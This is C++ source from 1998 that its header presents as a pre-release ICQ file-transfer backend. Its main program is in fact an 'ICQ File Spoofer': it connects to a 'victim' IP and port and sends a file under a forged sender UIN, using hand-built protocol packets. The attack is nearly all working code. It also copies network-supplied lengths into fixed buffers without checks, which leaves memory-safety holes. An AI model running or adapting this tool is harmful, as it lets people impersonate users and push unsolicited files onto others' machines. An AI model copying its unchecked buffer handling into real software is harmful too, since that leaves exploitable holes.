/* ICQ File transfer PRE-RELEASE BETA v.0001
 * by Eric Hanson (hanser@wwc.edu), Sam Fortiner (fortsa@cs.wwc.edu),
 * Hans Buchheim (buchha@cs.wwc.edu), and Rick Patchett (patcri@cs.wwc.edu).
 * 
 * We're working on a back end to an ICQ client that others can build
 * front-ends for.  Here's just a tiny bit of what we're working towards,
 * just in case you might find it valuable.
 * 
 * This is our first attempt at anything icq related.  It's very messy,
 * and we plan to clean it up quite a bit before we release it, so if you
 * come across this file, check http://moonbase.wwc.edu:8004/projects/icq/
 * for a newer version, cause this is just a pre-release for ICQ
 * developers to make comments about.  Don't pass this on.  Thanks.
 *
 * Known bugs:
 *   - Doesn't support speed changes.
 *   - Doesn't work quite right with the Java client
 *
 * Planned Enhancements:
 *   - Remote Filename
 *   - Message sending, URL sending, Chatting (?)
 *   - Stability
 *   - Clean Code
 * 
 * Tested with:
 *   - from Slackware Linux 2.0.30 to ICQ Version 98a Beat/Win95
 * 
 * Compile Options:
 *   None.  Just type "g++ icqfile.cpp -o icqfile"
 *
 * Thanks to:
 *    Magnus Ihse, CMB, Seth McGann.
 * 
 * Copyright (c) 1998
 */

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <iostream.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/types.h>

#define VERSION htons(0x0300)
#define COMMAND_SENDFILE htons(0xee07)

class ICQPacket
{
 public:
	/* Packet 2 Header */
	__u32 SourceUIN; 
	__u16 ICQVersion;
	__u32 Command;
	__u16 CommentLength;
	__u32 SenderIP;
	__u16 SenderPort;
	__u32 Unknown1b;
	__u32 Unknown2b;
	__u32 FileNameLength;
	__u8  Unknown4b;
	__u32 FileSize;
	__u32 Unknown1c;
	__u32 Unknown2c; /* Sender status ?*/
	__u16 FirstHeaderSize = 0x1a;
	__u16 SecondHeaderSize;

	__u16 DestinationPort;
	
	char header[] = 
		{0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
	char header2[] =
		{0x04, 0x00, 0x00};
	char intPad[] = {0x00, 0x00, 0x00, 0x00};
	char shortPad[] = {0x00, 0x00};
	char charPad[] = {0x00};
	
	char fileName[1024];
	char comment[1024];
	
	void exchangeName( int sock );
	void writePacket( int sock );
	void readResponse( int sock, ICQPacket* pPkt );
	void readNameExchange( int sock, ICQPacket* pPkt );
	void sendFilePreamble( int sock );
	void readFilePreamble (int sock);
	void sendFile( int sock );
};

void ICQPacket::writePacket(int sock)
{
	char buffer[65537];
	int offset = 0;
	
	memcpy(buffer, header, 9);
	offset += 9;
	memcpy(buffer + offset, &SourceUIN, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &SenderIP, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &SenderIP, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &SenderPort, sizeof(__u16));
	offset += sizeof(__u16);
	memcpy(buffer + offset, &header2, 3);
	offset += 3;
	
	offset += sizeof(__u16);
	
	memcpy(buffer + offset, &SourceUIN, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &ICQVersion, sizeof(__u16));
	offset += sizeof(__u16);
	memcpy(buffer + offset, &Command, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &SourceUIN, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &ICQVersion, sizeof(__u16));
	offset += sizeof(__u16);
	memcpy(buffer + offset, &CommentLength, sizeof(__u16));
	offset += sizeof(__u16);
	
	memcpy(buffer + offset, comment, strlen(comment));
	offset += strlen(comment);
	buffer[offset++] = 0x0;			
	
	memcpy(buffer + offset, &SenderIP, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &SenderIP, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &SenderPort, sizeof(__u16));
	offset += sizeof(__u16);
	memcpy(buffer + offset, &Unknown1b, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &Unknown2b, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &FileNameLength, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &Unknown4b, sizeof(__u8));
	offset += sizeof(__u8);
	
	memcpy(buffer + offset, fileName, strlen(fileName));
	offset += strlen(fileName);
	buffer[offset++] = 0x0;			
	
	memcpy(buffer + offset, &FileSize, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &Unknown1c, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &Unknown2c, sizeof(__u32));
	offset += sizeof(__u32);
	
	SecondHeaderSize = offset - FirstHeaderSize - 2;
	memcpy(buffer + 0x1a, &SecondHeaderSize, sizeof(__u16));
	
	write(sock, (void const *)&FirstHeaderSize, sizeof(__u16));

	write(sock, (void const *)buffer, offset);
	
}

void ICQPacket::exchangeName( int sock )
{
	char local_header[] = {0xff, 0x03, 0x00, 0x00, 0x00};
	char local_header2[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00};
	char local_header3[] = {0x64, 0x00, 0x00, 0x00};

	// local_header3 is the speed in percent (0 - 100)
	// bytes 6 thru 9 of local_header2 is the number of files to send.
	
	char buffer[65537];
	int offset = 0;

	FirstHeaderSize = 0x1a;
	
	memcpy(buffer, &local_header, 5);
	offset += 5;
	SenderPort --;
	memcpy(buffer + offset, &SenderPort, sizeof(__u16));

	offset += sizeof(__u16);
	offset += 2; // skip over 0x00, 0x00
		
	memcpy(buffer + offset, &SourceUIN, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &SenderIP, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &SenderIP, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &SenderPort, sizeof(__u16));
	offset += sizeof(__u16);
	memcpy(buffer + offset, &header2, 3);
	offset += 3;

	SenderPort ++; // set senderport back to actual port

	offset += 2;  // skip over rest of file length.
	
	memcpy(buffer + offset, &local_header2, 9);
	offset += 9;
	memcpy(buffer + offset, &FileSize, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &local_header3, 4);
	offset += 4;

	// make username equal to UIN
	char userName[1024];
	__u16 userNameLength;
	sprintf(userName, "%i", SourceUIN);	
	userNameLength = strlen(userName);
	
	memcpy(buffer + offset, &userNameLength, sizeof(__u16));
	offset += sizeof(__u16);
	memcpy(buffer + offset, &userName, userNameLength);
	offset += userNameLength;
	buffer[offset++] = 0x0;
	
	SecondHeaderSize = offset - FirstHeaderSize - 2;
	memcpy(buffer + 0x1a, &SecondHeaderSize, sizeof(__u16));
	
	write(sock, (void const *)&FirstHeaderSize, sizeof(__u16));

	write(sock, (void const *)buffer, offset);

	return;
}

/* Set up fileName, fileSize, 
 * */
void ICQPacket::sendFilePreamble( int sock )
{
	char local_header[] = {0x02, 0x00};
	char local_header2[] = {0x01, 0x00, 0x00}; // file number?
	char buffer[65537];
	__u32 offset = 0, speed = 100, fileNameLength = strlen(fileName) + 1;
	__u32 Unknown1 = 0x0;
	
	memcpy(buffer + offset, &local_header, 2);
	offset += 2;
	memcpy(buffer + offset, &fileNameLength, sizeof(__u16));
	offset += sizeof(__u16);
	memcpy(buffer + offset, &fileName, fileNameLength - 1);
	offset += fileNameLength - 1;
	buffer[offset++] = 0x0;
	memcpy (buffer+offset, local_header2, 3);
	offset += 3;
	memcpy(buffer + offset, &FileSize, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &Unknown1, sizeof(__u32));
	offset += sizeof(__u32);
	memcpy(buffer + offset, &speed, sizeof(__u32));
	offset += sizeof(__u32);
	
	__u16 nextPacketSize = (__u16)offset; 
	write(sock, (void*)&nextPacketSize, sizeof(__u16));
	write(sock, (void*)buffer, nextPacketSize);
	
}

void ICQPacket::readNameExchange( int sock, ICQPacket* pPkt )
{
	__u16 nextPacketSize;
	int offset = 0;
	int connectionSpeed = 0;
	char constant;
	
	read(sock, (void*)&nextPacketSize, sizeof(__u16));

	char *buffer = new char[nextPacketSize];
	if(buffer){
		read(sock, (void*)buffer, nextPacketSize);
		
		memcpy(&constant, buffer + offset, 1);
		offset += 1;
		
		memcpy(&connectionSpeed, buffer + offset, sizeof(__u32));
		offset += sizeof(__u32);
		memcpy(&pPkt->CommentLength, buffer + offset, sizeof(__u16));
		offset += sizeof(__u16);
		memcpy(&pPkt->comment, buffer + offset, pPkt->CommentLength);
		offset += pPkt->CommentLength;
		pPkt->comment[pPkt->CommentLength] = 0x0;
		
		printf("Sending file to %s:", pPkt->comment);
		fflush(stdout);
		
		delete buffer;
	}
	else
		{
			printf("Error allocating buffer in readNameExchange.\n");
		}
}

void ICQPacket::readFilePreamble (int sock)
{
	__u16 nextPacketSize;
	__u32 unknown1, unknown2;
	int offset = 0;
	int connectionSpeed = 0;
	char constant;
	
	read(sock, (void*)&nextPacketSize, sizeof(__u16));

	char *buffer = new char[nextPacketSize];
	if(buffer){
		read(sock, (void*)buffer, nextPacketSize);
		
		memcpy(&constant, buffer + offset, 1);
		offset += 1;
		
		memcpy(&unknown1, buffer + offset, sizeof(__u32));
		offset += sizeof(__u32);
		memcpy(&unknown2, buffer + offset, sizeof(__u32));
		offset += sizeof(__u16);
		memcpy(&connectionSpeed, buffer + offset, sizeof(__u32));
		offset += sizeof(__u32);
		
		delete buffer;
	}
	else{
		printf("Error allocating buffer in readNameExchange.\n");
	}
	
	
}

void ICQPacket::sendFile( int sock )
{
	char *fileBuffer = new char[FileSize];
	unsigned char constant = 0x06;
	int remainingBytes = FileSize, offset = 0;
	__u16 nextPacketSize;
	
	if( fileBuffer ) 
	{
		int fd = open( fileName, O_RDONLY);
		if ( fd == -1 ) 
		{
			perror("open in sendFile");
		}
		else 
		{
			int status = read( fd, fileBuffer, FileSize );
			if( status == -1 ) 
			{
				perror("read in sendfile");
			}
			else 
			{
				int firstPacket = 1;
				fflush(stdout);
				do
				{
					char b[2051];
					__u16 temp;
					
					if(remainingBytes < 2048)
						nextPacketSize = remainingBytes;
					else
						nextPacketSize = 2048;

					if( firstPacket )
					{
						firstPacket = 0;
						temp = nextPacketSize + 1;
						write(sock, &temp, sizeof(__u16));
						b[0] = constant;
						memcpy(&b[1], fileBuffer + offset, nextPacketSize);
						offset += nextPacketSize;
						remainingBytes -= nextPacketSize;
						write(sock, b, nextPacketSize + 1);
					}
					else
					{
						temp = nextPacketSize + 1;
						memcpy(b, &temp, sizeof(__u16));
						b[2] = constant;
						memcpy(&b[3], fileBuffer + offset, nextPacketSize);
						offset += nextPacketSize;
						remainingBytes -= nextPacketSize;
						write(sock, b, nextPacketSize + 3);
					}
					printf(".");
					fflush(stdout);
				} while ( remainingBytes );

				printf("\nFile sent.\n");
				
			}
		delete fileBuffer;
		}
	}
	else 
	{
		printf("Error allocating memory for fileBuffer in sendFile.\n");
	}
}

void ICQPacket::readResponse( int sock, ICQPacket* pPkt )
{
	__u16 nextPacketSize;
	int offset = 0;
	
	read(sock, (void *)&nextPacketSize, sizeof(__u16));
	
	char *buf = new char[nextPacketSize];
	if(buf)	{
		__u32 reject;
		
		read(sock, (void *)buf, nextPacketSize);
		
		memcpy(&pPkt->SourceUIN, &buf[offset], sizeof(__u32));
		offset += sizeof(__u32);
		memcpy(&pPkt->ICQVersion, &buf[offset], sizeof(__u16));
		offset += sizeof(__u16);
		if(pPkt->ICQVersion != VERSION)
			printf("Version differences:  target 0x%x, actual 0x%x.\n", VERSION, pPkt->ICQVersion);
		memcpy(&pPkt->Command, &buf[offset], sizeof(__u32));
		offset += sizeof(__u32);
		offset += sizeof(__u32); // skip over the 2nd UIN
		offset += sizeof(__u16); // skip over the 2nd version
		memcpy(&pPkt->CommentLength, &buf[offset], sizeof(__u16));
		offset += sizeof(__u16);
		memcpy(&pPkt->comment, &buf[offset], pPkt->CommentLength);
		offset += pPkt->CommentLength;
		
		
		memcpy(&pPkt->SenderIP, &buf[offset], sizeof(__u32));
		offset += sizeof(__u32);
		offset += sizeof(__u32); // skip over 2nd IP
		memcpy(&pPkt->SenderPort, &buf[offset], sizeof(__u16));
		offset += sizeof(__u16);
		offset += 3; // skip junk 0x00, 0x00, 0x04
		memcpy(&reject, &buf[offset], sizeof(__u32));
		offset += sizeof(__u32);
		
		if(!reject)
			printf("Connection accepted.\n");
		else
		{
			printf("Connection REJECTED.\n");
			printf("Comment: %s\n", pPkt->comment);
		}

		offset += sizeof(__u16); // skip over dest port
		
		offset += sizeof(__u16); // skip 2 bytes 0x00, 0x00
		
		memcpy(&pPkt->FileNameLength, &buf[offset], sizeof(__u16));
		offset += sizeof(__u16);
		
		memcpy(&pPkt->fileName, &buf[offset], pPkt->FileNameLength);
		offset += pPkt->FileNameLength;
		
		offset += sizeof(__u32); // skip 4 bytes 0x00, 0x00, 0x00, 0x00
		
		memcpy(&pPkt->DestinationPort, &buf[offset], sizeof(__u16));
		offset += sizeof(__u16);
		
		delete buf;
		
		if(reject)
			exit(1);
	}
	else	{
		printf("Error allocating memory.\n");
	}	
}

	
int main(int argc, char *argv[])
{
  struct sockaddr_in sin, sout, sin2, sout2;
	struct stat st;
	
	char fileName[1024], comment[1024];
	
	comment[0] = 0;
	
	int sock, x;
	int nameSize;
	int fileSize;
	int sock2;
	
  if (argc != 6)	 
	{
		printf(" ICQ File Spoofer\n");
		printf("usage: %s ip port SpoofedUIN file \"comment\"\n", argv[0]);
		return (0);
  }
  
	strcpy(fileName, argv[4]);
	if( stat(fileName, &st) != -1)
			{
				fileSize = st.st_size;
			}
	else
		{
			perror("stat");
			exit(1);
		}
	strcpy(comment, argv[5]);
	
	/* make a socket */
	if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {
		perror("socket");
		return (0);
	}
  
	/* set some stuff up */
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(argv[1]);
	sin.sin_port = htons(atol(argv[2]));
	
	/* connect to the victim */
	if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))==-1) {
		perror("connect");
		return (0);
	}

	nameSize = sizeof(sockaddr);
	getsockname(sock, (struct sockaddr*)&sout, &nameSize);
	
	/* make our payload */
	x = -1;
	
	ICQPacket pkt, pkt2, pkt3;
	
  pkt.SourceUIN = atoi(argv[3]);
	pkt.ICQVersion = VERSION;
	pkt.Command = COMMAND_SENDFILE;
	pkt.CommentLength = strlen(comment) + 1;

	
	pkt.Unknown1b = 0x00040000;
	pkt.Unknown2b = 0x00001000;
	pkt.FileNameLength = htonl(strlen(fileName) + 1);

	pkt.Unknown4b = 0x00;
	
	pkt.FileSize = fileSize;
	pkt.Unknown1c = 0x0000;
	pkt.Unknown2c = 0xFFFFFFA0;

	strcpy(pkt.fileName, fileName);
	strcpy(pkt.comment, comment);
	
	pkt.writePacket(sock);
	printf("Waiting for acceptance.\n");
	pkt.readResponse(sock, &pkt2);
	

		/* make a socket */
	if (!(sock2 = socket(AF_INET, SOCK_STREAM, 0))) {
		perror("socket2");
		return (0);
	}
  
	/* set some stuff up */
	sin2.sin_family = AF_INET;
	sin2.sin_addr.s_addr = inet_addr(argv[1]);
	sin2.sin_port = htons(pkt2.DestinationPort);
	
	/* connect to the victim */
	if (connect(sock2, (struct sockaddr*)&sin2,sizeof(sin2))==-1) {
		perror("connect");
		return (0);
	}

	nameSize = sizeof(sockaddr);
	getsockname(sock2, (struct sockaddr*)&sout2, &nameSize);

	pkt3.SenderIP = sout2.sin_addr.s_addr;
	pkt3.SenderPort = ntohs( sout2.sin_port );
	pkt3.SourceUIN = atoi(argv[3]);
	pkt3.FileSize = fileSize;

	pkt3.exchangeName( sock2 );

	pkt3.readNameExchange( sock2, &pkt2 );

	pkt3.FileSize = fileSize;
	strcpy(pkt3.fileName, fileName);
	pkt3.sendFilePreamble( sock2 );

	pkt3.readFilePreamble( sock2 );

	pkt3.sendFile ( sock2 );
	
	close(sock2);
	
  close(sock);
  return (0);
}
